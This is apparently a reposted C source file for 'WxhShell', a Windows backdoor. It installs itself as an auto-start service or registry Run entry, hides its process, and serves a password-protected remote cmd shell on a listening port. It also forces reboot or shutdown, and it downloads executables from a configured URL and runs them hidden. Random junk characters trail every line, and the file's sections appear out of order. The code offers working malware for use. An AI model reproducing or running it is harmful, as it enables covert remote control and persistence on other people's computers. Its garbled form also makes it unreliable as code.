    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vv* |F  
    if(Boot(SHUTDOWN)) l7~Pa0qD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }5hZo%w[n  
    else { R8ZD#,;  
    closesocket(wsh); U!NI_uk  
    ExitThread(0); kQ[Jo%YT?E  
    } |Eu*P  
    break; N'a?wBBR  
    } tvCcyD%w  
  // 获取shell >uW^.e "F  
  case 's': { -#OwJ*-U  
    CmdShell(wsh); b=G4MZQ  
    closesocket(wsh); QA,*:qx  
    ExitThread(0); 5\3 swP_7  
    break; QH:>jmC{1h  
  } cqjl5UB  
  // 退出 ``6{T1fQS  
  case 'x': { Rv,Mu3\~#c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1q`k}KMy  
    CloseIt(wsh); xy vND  
    break; j@CKO cn2  
    } G g(NGT  
  // 离开 ph+M3q(z  
  case 'q': {  h,~tXj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $$\V 2%v  
    closesocket(wsh); ;Rs.rl>;t/  
    WSACleanup(); X&.:H~xS+  
    exit(1); Nuo^+z E   
    break; WV@X@]U  
        } Qxky^:B  
  } e`;t<7*i  
  } hd8B0eD'  
y,V6h*x2  
  // 提示信息 -EVs@:3]j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VZTmzIk.Y  
} R)Q/Ff@o0  
  } l[Tt[n  
@wMQC\Z  
  return; @Jm.HST#S8  
} {x9j_/R  
Xout:dn  
// shell模块句柄 r:73uRk  
int CmdShell(SOCKET sock) 3Qk/ Ll  
{ nPcxknl(pd  
STARTUPINFO si; a^(2q{*  
ZeroMemory(&si,sizeof(si)); n 3h^VQ*]G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <8*A\&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7MoR9,(  
PROCESS_INFORMATION ProcessInfo; z>7=k`x`:  
char cmdline[]="cmd"; }'v{dK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %uj[`  
  return 0; .(JE-upJ"  
} hRa\1Jt>a  
Q7L)f71i  
// 自身启动模式 */4tJ G1U  
int StartFromService(void) @K7ebYr?  
{ %n4@[fG%K  
typedef struct +;YE)~R?  
{ vUqe.?5  
  DWORD ExitStatus; 4Q@\h=r  
  DWORD PebBaseAddress; b'&LBT7  
  DWORD AffinityMask; nT#37v  
  DWORD BasePriority; &yB%QX{3  
  ULONG UniqueProcessId; =,O /,2)  
  ULONG InheritedFromUniqueProcessId; )dqR<)  
}   PROCESS_BASIC_INFORMATION; c5<kbe  
7&h\l6}Yh  
PROCNTQSIP NtQueryInformationProcess; >B`Cch/ 'U  
t?KUK>>w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )sRN!~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (v]P<3%  
U&`6&$]  
  HANDLE             hProcess; 5[nmP95YK  
  PROCESS_BASIC_INFORMATION pbi;  ccRlql(  
&ycjSBK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0T(O'v}.  
  if(NULL == hInst ) return 0; E1#H{)G  
K4_~ruhr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N`f!D>b:dn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rq"VB.ef&{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dJloH)uJZ>  
0 4P.p6  
  if (!NtQueryInformationProcess) return 0;  c^rC8E  
={\![{L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GahaZ F  
  if(!hProcess) return 0; oN_S}o  
keae.6[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?Y%}(3y  
w8G7Jy  
  CloseHandle(hProcess); LFl2uV"  
"v@);\-V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6euR'd^Qi  
if(hProcess==NULL) return 0; 1]"D%U=  
2@rp<&s  
HMODULE hMod; WfRVv3Vm  
char procName[255]; jMTRcj];(  
unsigned long cbNeeded; 52da]BW<  
wj}=@HS,3!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )t*S 'R  
lB=(8.  
  CloseHandle(hProcess); 0Wjd-rzc,  
XAw2X;F%  
if(strstr(procName,"services")) return 1; // 以服务启动 lQ+Ru8I  
sq6>DuBZz  
  return 0; // 注册表启动 T@B"BoKU  
} su,`q  
, - QR  
// 主模块 q s v+.aW  
int StartWxhshell(LPSTR lpCmdLine) c]GQU  
{ Lc58lV=  
  SOCKET wsl; P;^y|0N m  
BOOL val=TRUE; J>&[J!>r  
  int port=0; CR%D\I$o  
  struct sockaddr_in door; c$@`P  
d,zp `S  
  if(wscfg.ws_autoins) Install(); VEL:JsY  
FX{ ~"  
port=atoi(lpCmdLine); " ]aQ Hh]f  
AEB/8%l};v  
if(port<=0) port=wscfg.ws_port; 3X,]=f@_  
vEu Ka<5  
  WSADATA data; W/#KX}4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E~'q?LJOB  
y2oB]^z&n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1[26w_B3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >`<Ued  
  door.sin_family = AF_INET; Mr$# e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  aeEw#  
  door.sin_port = htons(port); OG0r4^6Ly  
^RYn8I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lF0K=L  
closesocket(wsl); D."cQ<sxpN  
return 1; _{N0OX  
} T+`xr0  
N7d17c. 5  
  if(listen(wsl,2) == INVALID_SOCKET) { (J6" ;  
closesocket(wsl); "9c.CI  
return 1; D2Vb{%(4.  
}  Ask' !  
  Wxhshell(wsl); 6Hc H'nmeN  
  WSACleanup(); H+S~ bzz  
l[tY,Y:4qO  
return 0; Dm7Y#)%8  
\;nD)<)J  
} 6H(fk1E  
G> f^ 2  
// 以NT服务方式启动 D+bB G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nr> c'TH  
{ 4JX`>a{<  
DWORD   status = 0; LXBbz;vYl  
  DWORD   specificError = 0xfffffff; #JK;& Dg!  
;k9 ?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3r,1^h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G3Idxs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3!i. Fmo  
  serviceStatus.dwWin32ExitCode     = 0; *ge].E  
  serviceStatus.dwServiceSpecificExitCode = 0; ^+(A&PyP?  
  serviceStatus.dwCheckPoint       = 0; *>H M$.?Q  
  serviceStatus.dwWaitHint       = 0; \(.nPW]9  
CQ@#::'F1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9oZ } h&  
  if (hServiceStatusHandle==0) return; BSx j~pun  
AyQS4A.s[  
status = GetLastError(); 4M;sD;3  
  if (status!=NO_ERROR) tQNk=}VR7r  
{ Tns?mQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @rnp- +kq  
    serviceStatus.dwCheckPoint       = 0; jxRF"GD  
    serviceStatus.dwWaitHint       = 0; C><<0VhU  
    serviceStatus.dwWin32ExitCode     = status; /#S4espE  
    serviceStatus.dwServiceSpecificExitCode = specificError; W&fW5af9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LydbP17K}  
    return; ek<PISlci  
  } hQgk.$g  
FRl3\ZDqrb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'hwV   
  serviceStatus.dwCheckPoint       = 0; U%mkhWn  
  serviceStatus.dwWaitHint       = 0; [}W^4,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?noETHz)  
} y3 ({(URU  
{0NsDi>(2  
// 处理NT服务事件,比如:启动、停止 0EL\Hd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ({;P#qCX  
{ 6vD]@AF  
switch(fdwControl) QU-7Ch#8  
{ 6%\7.h  
case SERVICE_CONTROL_STOP: SREDM  
  serviceStatus.dwWin32ExitCode = 0; Tf&f`/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `jD8(}_  
  serviceStatus.dwCheckPoint   = 0; |i,zY{GI+2  
  serviceStatus.dwWaitHint     = 0; OqfhCNAY  
  { Bo\a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WUE)SVf  
  } ^kCk^D-Gz  
  return; -XS+Uv  
case SERVICE_CONTROL_PAUSE: u)q2YLK8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e3yorQ][  
  break; 5PPPd-'Z_  
case SERVICE_CONTROL_CONTINUE: e.)yV'%L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }};j2  
  break; 1kB'sc3N!  
case SERVICE_CONTROL_INTERROGATE: x&hvFG3  
  break; Bi9 N  
}; { 4_I7r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d-6sC@PB  
} 2ru*#Z#(  
f7EIDFX>pt  
// 标准应用程序主函数 &^CL] &/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +z]:CF  
{ aJuj7y-  
<3SFP3^:  
// 获取操作系统版本 2 pM  
OsIsNt=GetOsVer(); kcq9p2zKv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?G~/{m.  
WrE-Zti  
  // 从命令行安装 o 1 hdO  
  if(strpbrk(lpCmdLine,"iI")) Install(); {#dp-5V  
8k+q7  
  // 下载执行文件 u%+6Mp[E  
if(wscfg.ws_downexe) { jQ.>2-;H9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !uj!  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lu8%qcC  
} nhVK?  
&X#x9|=&O  
if(!OsIsNt) { .G5NGB  
// 如果时win9x,隐藏进程并且设置为注册表启动 IEno.i\  
HideProc(); >\6jb&,%O  
StartWxhshell(lpCmdLine); I,],?DQX2)  
} 2- Npw%;  
else j:rs+1bc  
  if(StartFromService()) OBKC$e6I  
  // 以服务方式启动 vxbH^b  
  StartServiceCtrlDispatcher(DispatchTable); }<5\O*kX4  
else b:}wR*Adc  
  // 普通方式启动 bik] JIM  
  StartWxhshell(lpCmdLine); dU sJv  
/?.r!Cp  
return 0; JqVBT+:  
} _H^^2#wc/  
HobGl0<y  
K]H"qG.K  
z. _C*c  
=========================================== ?{@!!te@3v  
i#@v_^q  
gqO%^b)6  
b.mjQ  
TRr4`y%  
;3.T* ?|o  
" V',m $   
#GDh/t2@  
#include <stdio.h> /H\^l.|vk  
#include <string.h> 8^P2GG'+-  
#include <windows.h> 323yAF  
#include <winsock2.h> *'s2 K  
#include <winsvc.h> GDo)6du  
#include <urlmon.h> c"%_]7  
Gg}LC+Y  
#pragma comment (lib, "Ws2_32.lib") ?j&~vy= T  
#pragma comment (lib, "urlmon.lib") 1eE]4Z4Q  
!~|"LA!jn  
#define MAX_USER   100 // 最大客户端连接数 9AVK_   
#define BUF_SOCK   200 // sock buffer $.r}g\43P  
#define KEY_BUFF   255 // 输入 buffer X_0{*!v8  
oSu|Yn  
#define REBOOT     0   // 重启 y7;XOPm  
#define SHUTDOWN   1   // 关机 Gpxb_}P  
O9qKwn;q(  
#define DEF_PORT   5000 // 监听端口 By"^ Z`EP4  
}Yo15BN+  
#define REG_LEN     16   // 注册表键长度 W{$+mow7S  
#define SVC_LEN     80   // NT服务名长度 '$kS]U  
$dVgFot  
// 从dll定义API  hZss  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G +nY}c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [kp7LA"`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %CsTB0Y7n,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HAI1%F236  
Q8gdI  
// wxhshell配置信息 JX2 |  
struct WSCFG { b]so9aCz  
  int ws_port;         // 监听端口 +X%fcoc  
  char ws_passstr[REG_LEN]; // 口令 fUL{c,7xda  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^;bGP.!p  
  char ws_regname[REG_LEN]; // 注册表键名 35@Ibe~  
  char ws_svcname[REG_LEN]; // 服务名 e%@[d<Ta\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  4s1kZ`e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P5 <85t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wNf*/? N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g`~lIt [=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mISu o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rvoS52XG,  
yNWbI0a  
}; W"}*Q -8W  
<4!&iU+;  
// default Wxhshell configuration R^u^y{ohr  
struct WSCFG wscfg={DEF_PORT, sxC{\iLY%  
    "xuhuanlingzhe", S{"6PXzb  
    1, g*w-"%"O  
    "Wxhshell", -%/,j)VKD  
    "Wxhshell", <-oRhi4  
            "WxhShell Service", (W}i287  
    "Wrsky Windows CmdShell Service", !+*?pq  
    "Please Input Your Password: ", =DF@kR[CH"  
  1,  1+i  
  "http://www.wrsky.com/wxhshell.exe", v0jz)z<#  
  "Wxhshell.exe" b]s1Q ]V  
    }; `X.=uG+m  
v-r[~  
// 消息定义模块 ("P mB?20  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u UVV>An  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v\?\(Y55Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c;t(j'k`  
char *msg_ws_ext="\n\rExit."; eed\0  
char *msg_ws_end="\n\rQuit."; P+zI9~N[  
char *msg_ws_boot="\n\rReboot..."; @x-GbK?  
char *msg_ws_poff="\n\rShutdown..."; o7 -h'b-  
char *msg_ws_down="\n\rSave to "; C"m0"O>  
Nh7!Ah  
char *msg_ws_err="\n\rErr!"; -) v p&-  
char *msg_ws_ok="\n\rOK!"; n]ppO U|[  
c&I,eds  
char ExeFile[MAX_PATH]; 4iPua"8  
int nUser = 0; B|q3;P  
HANDLE handles[MAX_USER]; ! ,(bXa\^  
int OsIsNt; dXK~ Z:  
W%jX-  
SERVICE_STATUS       serviceStatus; 4Igs\x{i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5Ret,~Vs9|  
# V9hG9%8  
// 函数声明 OHtZ"^YG  
int Install(void); hDkqEkq1R  
int Uninstall(void);  ~NW5+M(u  
int DownloadFile(char *sURL, SOCKET wsh); t+)GB=C  
int Boot(int flag); \tw#p k  
void HideProc(void); koWb@V]  
int GetOsVer(void); Y ,pS/  
int Wxhshell(SOCKET wsl); szsZFyW )+  
void TalkWithClient(void *cs); , LPFb6o  
int CmdShell(SOCKET sock); zH\;pmWiN9  
int StartFromService(void); K/.hJ  
int StartWxhshell(LPSTR lpCmdLine); !\k#{ 1[!  
y88}f&z#5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {ZIFj.2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mp @(/  
,E8>:-boL  
// 数据结构和表定义 Y"\T*lKa  
SERVICE_TABLE_ENTRY DispatchTable[] = 9q@YE_ji  
{ (XIq?c1T  
{wscfg.ws_svcname, NTServiceMain}, #]\G*>{  
{NULL, NULL} yI|?iBc7nC  
}; I(kIHjV|  
) ImIPSL  
// 自我安装 q2U"k  
int Install(void) R^O)fL0_  
{ ?yM/j7Xn  
  char svExeFile[MAX_PATH]; 2'^OtM,  
  HKEY key; N4]6LA6x6  
  strcpy(svExeFile,ExeFile); [N$_@[  
;51!a C  
// 如果是win9x系统,修改注册表设为自启动 #&8pp8wd,}  
if(!OsIsNt) { ,HO/Q6;N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0v)mgrl=,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?bYQZJ>&  
  RegCloseKey(key); gl\{QcI8<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d=OO(sf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); om39;nk!}  
  RegCloseKey(key); N*oJ$:#  
  return 0; p YvF}8  
    } waq_d.  
  } iU+,Jeu  
} /g- X=|?F  
else { GDQg:MgX  
2uR4~XjF  
// 如果是NT以上系统,安装为系统服务 sL`D}_:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6o23#JgN  
if (schSCManager!=0) LYT<o FE-  
{ xcRrI|?eC  
  SC_HANDLE schService = CreateService 5OqsnL_V  
  ( tZBE& :l  
  schSCManager, UHl/AM> !  
  wscfg.ws_svcname, t:@A)ip  
  wscfg.ws_svcdisp, 8uD%]k=#!  
  SERVICE_ALL_ACCESS, <^c0bY1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nk,Mo5iqV  
  SERVICE_AUTO_START, T`<k4ur  
  SERVICE_ERROR_NORMAL, O*Pe [T5x'  
  svExeFile, R/FV'qy]  
  NULL, Ytnr$*5.  
  NULL, Us~wv"L=UX  
  NULL, LK}eU,m=  
  NULL, /%'7sx[p  
  NULL Y~ ?YA/.x  
  ); |B WK"G  
  if (schService!=0) H9m2Whq  
  { ?-v?SN#  
  CloseServiceHandle(schService); @y2Bq['  
  CloseServiceHandle(schSCManager); >oYwzK0&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $[;eb,  
  strcat(svExeFile,wscfg.ws_svcname); \J g#X:d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L#MxB|fcr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n8D;6#P^  
  RegCloseKey(key); |N.q[>^R  
  return 0; Y$5v3E\uc  
    } Kyiez]T6%q  
  } w}<I\*\`!  
  CloseServiceHandle(schSCManager); x(6.W"-S  
} A/6nV n  
} zQ^[=siZ}  
]`U?<9~Ob  
return 1; z#67rh {  
} D(?#oCCA  
S5 vMP N  
// 自我卸载 g {wPw  
int Uninstall(void) 05zdy-Fb  
{ |}Z"|-Z  
  HKEY key; QN5N h s  
c`=h K*  
if(!OsIsNt) { 3/<^R}w\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J-?(sjIX  
  RegDeleteValue(key,wscfg.ws_regname); ?^GsR[-x  
  RegCloseKey(key); -+Ji~;b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5. UgJ/  
  RegDeleteValue(key,wscfg.ws_regname); J, U~ .c  
  RegCloseKey(key); j-E>*N}-_  
  return 0; F<<H [,%0  
  } >(J!8*7  
} WoR**J?}w  
} p tfADG  
else { oQB1fs  
'B:De"_(N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +/8?+1E ^  
if (schSCManager!=0) O3GaxM \x  
{ td$Jx}'A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #Ih(2T i  
  if (schService!=0) }eK*)  
  { TyXOd,%zl  
  if(DeleteService(schService)!=0) { .b)(_*  
  CloseServiceHandle(schService); teALd~;  
  CloseServiceHandle(schSCManager); < VsZ$  
  return 0; ~/[N)RFD  
  } AU\!5+RDB  
  CloseServiceHandle(schService); ZWW}r~d{  
  } pDN,(Ip  
  CloseServiceHandle(schSCManager); #>NZN1  
} t $%}*@x7  
} GUZi }a|=  
?E+XD'~  
return 1; ;!Bkk9r"H  
} 5mBk[{  
c67!OHumP  
// 从指定url下载文件 cne[-E  
int DownloadFile(char *sURL, SOCKET wsh) sTYl' Ieg  
{ 1 SZa\ ][@  
  HRESULT hr; 5n#&Hjb*F0  
char seps[]= "/"; GoXHVUyp  
char *token; Z)~4)71Y:  
char *file; D]_\i[x  
char myURL[MAX_PATH]; Ps-d#~4U;  
char myFILE[MAX_PATH]; _CT|5wQF<  
@35]IxD  
strcpy(myURL,sURL); qA[}\8}h  
  token=strtok(myURL,seps); `buTP?]4.  
  while(token!=NULL) aa!c>"g6  
  { k{8N@&D  
    file=token; pp_ddk  
  token=strtok(NULL,seps); l)bUHh5[  
  } 0$ EJ4  
bsVOO9.4-  
GetCurrentDirectory(MAX_PATH,myFILE); L2tmo-]nw  
strcat(myFILE, "\\"); %QkvBg*  
strcat(myFILE, file); ?os0JQVB  
  send(wsh,myFILE,strlen(myFILE),0); EaL+}/q&  
send(wsh,"...",3,0); 1Qkuxw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3g?T,| 2K  
  if(hr==S_OK) 8ttw!x69)_  
return 0; Ric$Xmu  
else #SOe &W5  
return 1; 4QDzG~N4)|  
W`kgYGnFG  
} .!! yj,bQz  
sk/ Mh8z  
// 系统电源模块 bZJiubBRI  
int Boot(int flag) dD!SgK[Jv  
{ N~YeAe~+  
  HANDLE hToken; **[p{R]8o  
  TOKEN_PRIVILEGES tkp; b*7i&q'H  
z""(M4  
  if(OsIsNt) { !b_IH0]U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,;}RIcvQV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "b;?2_w:E  
    tkp.PrivilegeCount = 1; bSzb! hT`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `WL*Jb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a WC sLH  
if(flag==REBOOT) { F!'"mU<f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lnUy ? 0(  
  return 0; =n&83MYX  
} P'';F}NwfX  
else { V00zk`PH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4|UIyDt8  
  return 0; #{a<{HX  
} (C|%@61S  
  } zyE yZc?  
  else { v%w]Q B  
if(flag==REBOOT) { fk_i~K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _ 9dV 3I  
  return 0; Adm`s .  
} 9`{cX  
else { 'rgV]Oy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vJs /ett  
  return 0; JJr<cZ4]  
} O5w\oDhMb  
} *{bqHMd4L  
7dRU7p>  
return 1; uq_SF.a'v  
} }K\_N]#6n  
u-$AFSt  
// win9x进程隐藏模块 +iR ;D$w  
void HideProc(void) / e,lD)  
{ Hqk2W*UTl  
t<=L&:<N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bE{`g]C5  
  if ( hKernel != NULL ) c1f6RCu$b  
  { :1I,:L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PC5FfX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P:o<kRj1  
    FreeLibrary(hKernel);  E7,\s   
  } lPQH_+)Z"  
X,b} d#\  
return; g o@}r<B$  
} t&0p@xLQ  
(`N/1}vk  
// 获取操作系统版本 ~a}pYLxl  
int GetOsVer(void) 4KKNw9L)  
{ d:aQlW;}  
  OSVERSIONINFO winfo; 8~bPoWP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3ml|`S  
  GetVersionEx(&winfo); $n) w4p_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }% =P(%-  
  return 1; ) )Nc|`  
  else 0#ph1a<  
  return 0; -MZ Eli g  
} pJI H_H  
"#()4.9  
// 客户端句柄模块 ^/,s$dj  
int Wxhshell(SOCKET wsl) KRQ/wuv  
{ |cacMgly  
  SOCKET wsh; D'X'h}+2  
  struct sockaddr_in client; F&\o1g-L  
  DWORD myID; {XAKf_Cg  
H0S7k`.  
  while(nUser<MAX_USER) VQCPgs  
{ f55Ev<oOa  
  int nSize=sizeof(client); #'[ f^xgJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #KwFrlZ  
  if(wsh==INVALID_SOCKET) return 1; 9o6y7hEQy  
Ny#%7%(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qj~0vx!  
if(handles[nUser]==0) pGC`HTo|  
  closesocket(wsh); Mm5l>D'c  
else *VpQ("  
  nUser++; X*sF-T$.  
  } W*)>Tr)o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]lo O5  
}5gQZ'ys'  
  return 0; )\e_I\-  
} 9/{g%40B^  
O =fT;&%.  
// 关闭 socket ^ZsME,  
void CloseIt(SOCKET wsh) 1_' ZbZv4h  
{ tnsYY  
closesocket(wsh); &sW/r::,  
nUser--; BBX4^;t  
ExitThread(0); 0Ec -/   
} 2a G<^3  
P>H'od  
// 客户端请求句柄 Av'H(qB\K  
void TalkWithClient(void *cs) 4DNZ y2`  
{ ecb[m2z  
,W#y7 t  
  SOCKET wsh=(SOCKET)cs; /xmd]XM=_  
  char pwd[SVC_LEN]; dZm{?\^_  
  char cmd[KEY_BUFF]; !#r]f9QP  
char chr[1];  i J\#su  
int i,j; i-Z@6\/a5  
D@Q|QY5qic  
  while (nUser < MAX_USER) { b`2~  
=($qiL'h  
if(wscfg.ws_passstr) { c/s'&gG33z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k`?n("j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5rc<ibGh  
  //ZeroMemory(pwd,KEY_BUFF); {BJxRH"&6*  
      i=0; ELm#  
  while(i<SVC_LEN) { hZpFI?lqc\  
[]@Mk  
  // 设置超时 Bg3^BOT  
  fd_set FdRead; @=9QV3D  
  struct timeval TimeOut; W&"FejD  
  FD_ZERO(&FdRead); f; 22viE  
  FD_SET(wsh,&FdRead); WN0^hDc-  
  TimeOut.tv_sec=8; m?csake.Me  
  TimeOut.tv_usec=0; wiutUb Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GVg0)}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X9P-fF?0  
PBUc9/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r1[0#5kJ;J  
  pwd=chr[0]; 2]7nw1&  
  if(chr[0]==0xd || chr[0]==0xa) { KT8Fn+  
  pwd=0; Y-Z.AA,  
  break; l-mUc1.S  
  } q3;HfZ  
  i++; $ }&6p6|  
    } J sH9IK:  
wk3yz6V2  
  // 如果是非法用户,关闭 socket )qKfTt N`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n>@(gDq  
} L 0|u^J  
rR7}SEa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Di&tm1R1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2sXWeiJy;  
)'qZ6%  
while(1) { s^ 6S{XJ  
+>s[w{Svy  
  ZeroMemory(cmd,KEY_BUFF); K <0ItN v  
p1Els /|  
      // 自动支持客户端 telnet标准   WUHijHo5(8  
  j=0; UE(%R1Py  
  while(j<KEY_BUFF) { 9@!`,Co  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b&!X#3(KT  
  cmd[j]=chr[0]; $idYG<],  
  if(chr[0]==0xa || chr[0]==0xd) { @)1u  
  cmd[j]=0; <)rol  
  break; Oh|Hy/&6W  
  } HK}C<gg  
  j++; M[X& Q  
    } 8&3G|m1-2  
m:'fk;khN  
  // 下载文件 N!,@}s  
  if(strstr(cmd,"http://")) { zW\&q!`IRP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f#[Fqkmj  
  if(DownloadFile(cmd,wsh)) kQYX[e7n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d/"e3S1  
  else 7VR+EV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .~Td /o7  
  } )4DF9JpD  
